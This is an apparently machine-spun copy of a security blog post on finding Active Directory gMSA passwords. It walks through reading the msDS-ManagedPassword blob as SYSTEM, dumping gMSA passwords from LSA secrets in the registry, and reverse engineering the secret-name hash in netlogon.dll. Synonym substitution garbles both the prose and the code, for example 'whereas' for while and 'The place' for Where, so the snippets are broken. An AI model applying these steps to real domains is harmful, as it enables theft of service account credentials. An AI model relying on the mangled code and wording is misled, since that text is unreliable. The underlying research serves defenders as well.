Hunt for the gMSA secrets and techniques

11 min read
Hunt for the gMSA secrets

Group Managed Service Accounts (gMSA’s) can be utilized to run Home windows companies over a number of servers inside the Home windows area.

For the reason that launch of Home windows Server 2012 R2, gMSA has been the really useful service account choice for AD FS.
As abusing AD FS is one among my favorite hobbies, I needed to find out how gMSAs work.

What’s gMSA?

In accordance with Microsoft’s documentation, there are a number of choices for working companies:

Principals Companies supported Password administration
Pc Account of Home windows system Restricted to 1 area joined server Pc manages
Pc Account with out Home windows system Any area joined server None
Digital Account Restricted to 1 server Pc manages
Home windows 7 standalone Managed Service Account Restricted to 1 area joined server Pc manages
Consumer Account Any area joined server None
Group Managed Service Account Any Home windows Server 2012 domain-joined server The area controller manages, and the host retrieves

If we wish to run Home windows service on a number of servers utilizing the identical managed account, we have to use gMSA.
Certainly one of these sort of companies is Lively Listing Federation Companies (AD FS).

Pattern AD FS configuration

As I’m utilizing AD FS right here for instance, I configured AD FS to make use of gMSA account. I named the account to AADINTERNALSgmsaADFS$

ad fs

The account could be positioned in AD below Managed Service Accounts

gmsa in ad

To run the service utilizing gMSA implies that the pc working the service must understand it’s password. So how might one entry that password?

Whereas googling round, I ended as much as The Hacker Recipes’s ReadGMSAPassword website.

It turned out that the password blob is saved in msDS-ManagedPassword attribute of the gMSA account.
Nevertheless, working the command as a Area Admin didn’t return the password:

# Get gmsaADFS account:
Get-ADServiceAccount -Id gmsaADFS -Properties "msDS-ManagedPassword"
DistinguishedName    : CN=gmsaADFS,CN=Managed Service Accounts,DC=aadinternals,DC=com
Enabled              : True
Title                 : gmsaADFS
ObjectClass          : msDS-GroupManagedServiceAccount
ObjectGUID           : b3a4f131-bb4f-4bf4-9e54-3d54b285620b
SamAccountName       : gmsaADFS$
SID                  : S-1-5-21-2918793985-2280761178-2512057791-2103
UserPrincipalName    : 

Googling round took me to Sean Metcalf’s weblog Attacking Lively Listing Group Managed Service Accounts (GMSAs).

It turned out that solely these principals who’re listed in PrincipalsAllowedToRetrieveManagedPassword property of the gMSA can retrieve the password.
So the following step was to seek out out who these principals are:

# Get principals allowed to get gmsaADFS account password:
Get-ADServiceAccount -Id gmsaADFS -Properties "PrincipalsAllowedToRetrieveManagedPassword" | Choose PrincipalsAllowedToRetrieveManagedPassword
PrincipalsAllowedToRetrieveManagedPassword   
------------------------------------------   
{CN=ADFS,CN=Computer systems,DC=aadinternals,DC=com}

Fast question to AD confirmed that the principal in query is the pc account of AD FS server:

# Get AD object for the ADFS principal
Get-ADObject -Id "CN=ADFS,CN=Computer systems,DC=aadinternals,DC=com"
DistinguishedName                           Title ObjectClass ObjectGUID        
-----------------                           ---- ----------- ----------        
CN=ADFS,CN=Computer systems,DC=aadinternals,DC=com ADFS laptop    bb5a6e8a-2956-4...

To get the system permissions, I launched the PowerShell as a system utilizing Sysinternals’ PsExec:

psexec -sid powershell.exe

Now I used to be capable of entry the password blob!

# Get gmsaADFS account password:
Get-ADServiceAccount -Id gmsaADFS -Properties "msDS-ManagedPassword"
DistinguishedName    : CN=gmsaADFS,CN=Managed Service Accounts,DC=aadinternals,DC=com
Enabled              : True
msDS-ManagedPassword : {1, 0, 0, 0...}
Title                 : gmsaADFS
ObjectClass          : msDS-GroupManagedServiceAccount
ObjectGUID           : b3a4f131-bb4f-4bf4-9e54-3d54b285620b
SamAccountName       : gmsaADFS$
SID                  : S-1-5-21-2918793985-2280761178-2512057791-2103
UserPrincipalName    : 

Subsequent step was to determine what to do with the password blob.
Each blogs I discussed earlier used Michael Grafnetter’s glorious DSInternals device for this.

DSInternals features a command ConvertFrom-ADManagedPasswordBlob
which is ready to parse the password blob.

# Get gmsaADFS account:
$gmsa = Get-ADServiceAccount -Id "gmsaADFS" -Properties "msDS-ManagedPassword"

# Parse blob
ConvertFrom-ADManagedPasswordBlob -Blob $gmsa.'msDS-ManagedPassword'
Model                   : 1
CurrentPassword           : 逻ᄚꃙ﬚銒樶ﯮꖘﶴᓑ㾁驭屓ᨨ鍛뢍웾䨻汪ᇑ㜽ⱱ띵ꗯ멮큢㽓碖橔△䌙赧ᴣꆂⲃ욌᎟ℼ呺숒蓠⭉ﶎ胭軇...
SecureCurrentPassword     : System.Safety.SecureString
PreviousPassword          : 
SecurePreviousPassword    : 
QueryPasswordInterval     : 19.16:27:51.4782824
UnchangedPasswordInterval : 19.16:22:51.4782824

As I discussed earlier, if a pc must run a service as gMSA, it wants the password.
The pc can fetch the password from AD, however what if the AD is unavailable?

The service should be capable of begin with out contacting the area controller, so the password should be saved domestically someplace..

Password location

In one among my earlier blogs on ADSync passwords, I seen that
service account passwords have been saved in registry at:

HKLM:SECURITYPolicySecrets

Fast go to to registry reveleaded that LSASS shops additionally gMSA account passwords within the registry.

gmsa in registry

As such, I used to be in a position dump the passwords with AADInternals (requires native admin rights):

# Get LSA secrets and techniques:
Get-AADIntLSASecrets | The place Title -Like "_SC_GMSA_{*"
Title        : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_cda3685b92675ebbe3d56f9bc852aef55f6bee660447c19f4864486b112a50ad
Password    : {1, 0, 0, 0...}
PasswordHex : 01000000220100001000000012011a013b901a11d9a01[redacted]
PasswordTxt :  Ģ  ĒĚ逻ᄚꃙ﬚銒樶ﯮꖘﶴᓑ㾁驭屓ᨨ鍛뢍웾䨻汪ᇑ㜽ⱱ띵ꗯ멮큢㽓[redacted]
MD4         : {249, 119, 202, 116...}
SHA1        : {247, 92, 241, 94...}
MD4Txt      : f977ca74a5e7640ae65[redacted]
SHA1Txt     : f75cf15efd029b7bfb7[redacted]

Might this password really be the identical blob that’s saved to AD? Let’s discover out!

# Get gmsaADFS account password:
$gmsa2 = Get-AADIntLSASecrets | The place Title -Like "_SC_GMSA_{*")

# Parse blob
ConvertFrom-ADManagedPasswordBlob -Blob $gmsa2.Password

Sadly, I acquired an error message associated to blob size.

ConvertFrom-ADManagedPasswordBlob : The size of the enter is sudden.
Parameter identify: blob
Precise worth was 304.
At line:1 char:1
+ ConvertFrom-ADManagedPasswordBlob -Blob $gmsa2.Password
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [ConvertFrom-ADManagedPasswordBlob], ArgumentOutOfRangeException
    + FullyQualifiedErrorId : System.ArgumentOutOfRangeException,DSInternals.PowerShell.Instructions.ConvertFromADManagedPasswordBlobCommand

Fortunately, comparability of the blobs revealed that the LSASS blob had the identical content material but in addition zero padding on the finish ?

gmsa comparison

One other strive with the truncated blob confirmed that the content material of the blobs are certainly an identical:

# Parse blob
ConvertFrom-ADManagedPasswordBlob -Blob $gmsa2.Password[0..289]
Model                   : 1
CurrentPassword           : 逻ᄚꃙ﬚銒樶ﯮꖘﶴᓑ㾁驭屓[redacted]
SecureCurrentPassword     : System.Safety.SecureString
PreviousPassword          : 
SecurePreviousPassword    : 
QueryPasswordInterval     : 21.11:39:16.0895943
UnchangedPasswordInterval : 21.11:34:16.0895943

Finding the proper password

In the event you’re working only one service utilizing gMSA, finding the password is straightforward.
However what about in case you have a number of companies utilizing gMSAs, which of the secrets and techniques is right?

which gmsa

Cracking this secret took some time, so bear with me ?

First, plainly the all gMSA account names begin with the identical prefix:

_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_

Googling the 84A78B8C-56EE-465b-8496-FFB35A1B52A7 GUID introduced me to a different nice weblog put up: Accounts All over the place, half 2: Managed Service Accounts and Group Managed Service Accounts by Andrew Mayo.

Sadly, he said the identical than I had already seen:

Notice, nonetheless, that the NAME of the gMSA (in contrast to the MSA) doesn’t seem like saved in plaintext within the secret. It’s, presumably, recoverable – nonetheless, I don’t have info on how to take action presently. This – in concept – makes it a bit harder for an attacker, since in contrast to an MSA, the place the account identify is clearly a part of the native secret key, you don’t have that info right here.

However now that we all know the gMSA account prefix is fixed, I had one thing to begin with.

I made a decision to learn how Home windows locates the proper gMSA password when beginning the service.

I began this journey by working Sysinternals’ Strings towards all dll recordsdata below System32:

strings -n 20  c:windowssystem32*.dll > strings.txt

Solely hit was in netlogon.dll. There was additionally an attention-grabbing perform named NetpGetSecretName which I made a decision to check additional!

which gmsa

Finding out NetpGetSecretName

So, time to open Ghidra and begin to work! First, I positioned the perform in query by looking the gMSA prefix and began to rename parameters and capabilities
as I realized how the perform labored.

NetpGetServiceSecretName

The perform takes three parameters:

Kind Title Description
int sort The kind of the key.
0: GMSA DPAPI
1: GMSA
wchar_t * AccountName The identify of the service account.
wchar_t * DomainName The area of the service account.
wchar_t ** NameOutput The goal buffer containing the service secret identify.

1: The prefix is chosen primarily based on the sort:
NetpGetServiceSecretName

2: The area identify and account identify are concatenated with none delimiters.

3: The concatenated identify is made higher case.

NetpGetServiceSecretName

Then to the meat!

4: A brand new SHA256 has object is created.

5: The higher case concatenated account identify pbInput is ship to the hash object. (Ghidra didn’t decompile the file accurately, so some variable assignments and so on. appear to be lacking.)

6: The hash is finalized and saved the pbOutput.

NetpGetServiceSecretName

7: There’s an attention-grabbing do-while loop that appears to making a hex string from the hash.
Nevertheless, excessive and low bits of every byte are switched..

Regular bytes to hex:

dc3a86b52976e5bb3e5df6b98c25ea5ff5b6ee6640741cf9844684b611a205da

NetpGetServiceSecretName’s bytes to hex:

cda3685b92675ebbe3d56f9bc852aef55f6bee660447c19f4864486b112a50ad

8: The SHA256 has is appended to the prefix

NetpGetServiceSecretName

Implementing NetpGetSecretName

Now that I knew how the gMSA identify was derived, I used to be able to implement it in PowerShell!

# Create the SHA256 object
$sha256 = [System.Security.Cryptography.SHA256]::Create()

# Convert to higher case and calculate the hash
$hash = $sha256.ComputeHash([text.encoding]::unicode.GetBytes("AADINTERNALSgmsaADFS".ToUpper()))

# Create the hex string
$hexLetters = "0123456789abcdef"
$strHash=""
$pos = 0
do{
    
    $strHash += $hexLetters[($hash[$pos] -band 0xf)]
    $strHash += $hexLetters[($hash[$pos] -shr 4)]
    $pos+=1
}whereas($pos -lt 0x20)

# Print the end result
$strHash

Sadly, the output was what I used to be anticipating:

6c070a1a97baba5ae7e20e1c3911b560bd9f2813c1b49ad7e2188ba33c648b62

I assumed that there was one thing totally different with the implementation of SHA256 between PowerShell and BCrypt.dll that the netlogon.dll was utilizing.

So, I implement a C# console program that used native BCrypt.dll strategies instantly.

static void Important(string[] args)
{
	byte[] knowledge = System.Textual content.Encoding.Unicode.GetBytes("AADINTERNALSgmsaADFS".ToUpper());
	IntPtr phAlgorithm = IntPtr.Zero;
	IntPtr phHash = IntPtr.Zero;
	byte[] hash = new byte[0x20];
	uint standing;
	if ((standing = BCryptOpenAlgorithmProvider(out phAlgorithm, "SHA256", null, 0)) == 0)
	{
		Console.WriteLine("Algorithm 0x{0:X8}", phAlgorithm.ToInt64());
		byte[] pbHashObject = new byte[0x20];

		if ((standing = BCryptCreateHash(phAlgorithm, out phHash, null, 0, null, 0, 0)) == 0)
		{
			Console.WriteLine("Hash 0x{0:X8}", phHash.ToInt64());
			if ((standing = BCryptHashData(phHash,knowledge,(uint)knowledge.Size,0)) == 0)
			{
				if((standing = BCryptFinishHash(phHash, hash, 0x20,0)) == 0)
				{
					Console.WriteLine("{0}", BitConverter.ToString(hash).Substitute("-", "").ToLower());
				}
			}
			BCryptDestroyHash(phHash);
		}
		BCryptCloseAlgorithmProvider(phAlgorithm, 0);
	}
	Console.WriteLine("Final error 0x{0:X8}, standing 0x{0:X8}", Marshal.GetLastWin32Error(), standing);
	Console.ReadKey();
}

Nonetheless no luck (output bytes should not reversed, however we will see the hash is wrong):

NetpGetServiceSecretName

Finding out NetpGetSecretName – half 2

I spent loads of time attempting to determine what was flawed.
I even put in x64dbg for the primary time of my life ?

So, I hooked up the debugger to lsass.exe, searched the proper name to BCryptFinishHash, and set the breakpoint.

Working the next PowerShell command will hit the NetpGetSecretName perform.

Set up-ADServiceAccount gmsaADFS

The (non reversed) output hash was right!

NetpGetServiceSecretName

At this level, it took loads of time to verify the hashing was applied accurately – because it was.

If the implementation was right, then the issue needed to be some other place.

Whereas reviewing the code as soon as once more, I seen that the SHA256 hash algorithm was not initialized in NetpGetSecretName perform.
So, it should have been initialized some other place.

NetpGetServiceSecretName

With Ghidra, it was fairly straightforward to seek out the proper perform the place the SHA256 was initialized: NlInitializeCNG

NetpGetServiceSecretName

After reviewing the code time after time after time, I lastly noticed the one distinction!

The NlInitializeCNG perform offered a flag (8 = BCRYPT_ALG_HANDLE_HMAC_FLAG) to BCryptOpenAlgorithmProvider perform which my code didn’t.
In accordance with the documentation:

Worth Which means
BCRYPT_ALG_HANDLE_HMAC_FLAG The supplier will carry out the Hash-Based mostly Message Authentication Code (HMAC) algorithm with the required hash algorithm. This flag is barely utilized by hash algorithm suppliers.

I included the BCRYPT_ALG_HANDLE_HMAC_FLAG flag to the BCryptOpenAlgorithmProvider name:

NetpGetServiceSecretName

And now the (non-reversed) output hash was right!

NetpGetServiceSecretName

So, Microsoft initializes the SHA256 as HMAC, however doesn’t present HMAC key (i.e. password) when calling BCryptCreateHash perform ?‍♂️

Based mostly on what I realized about gMSAs, I used to be capable of implement new and replace present gMSA associated performance of AADInternals.

Right here’s a sneak peek what to anticipate:

AADInternals

The brand new gMSA performance will probably be included within the subsequent model. I’ll replace the weblog with particulars after it’s launched (hopefully quickly)!

  • The password of gMSA account could be retrieved from AD by principals listed in PrincipalsAllowedToRetrieveManagedPassword property of the gMSA.
  • The password can also be saved within the registry at HKLM:SECURITYPolicySecrets
  • Microsoft is utilizing HMAC with SHA256 hash perform (incorrectly with out password?) to derive the gMSA secret identify from the gMSA account identify.
  • Native Administrator can extract plaintext passwords of gMSA accounts.

You May Also Like

More From Author

+ There are no comments

Add yours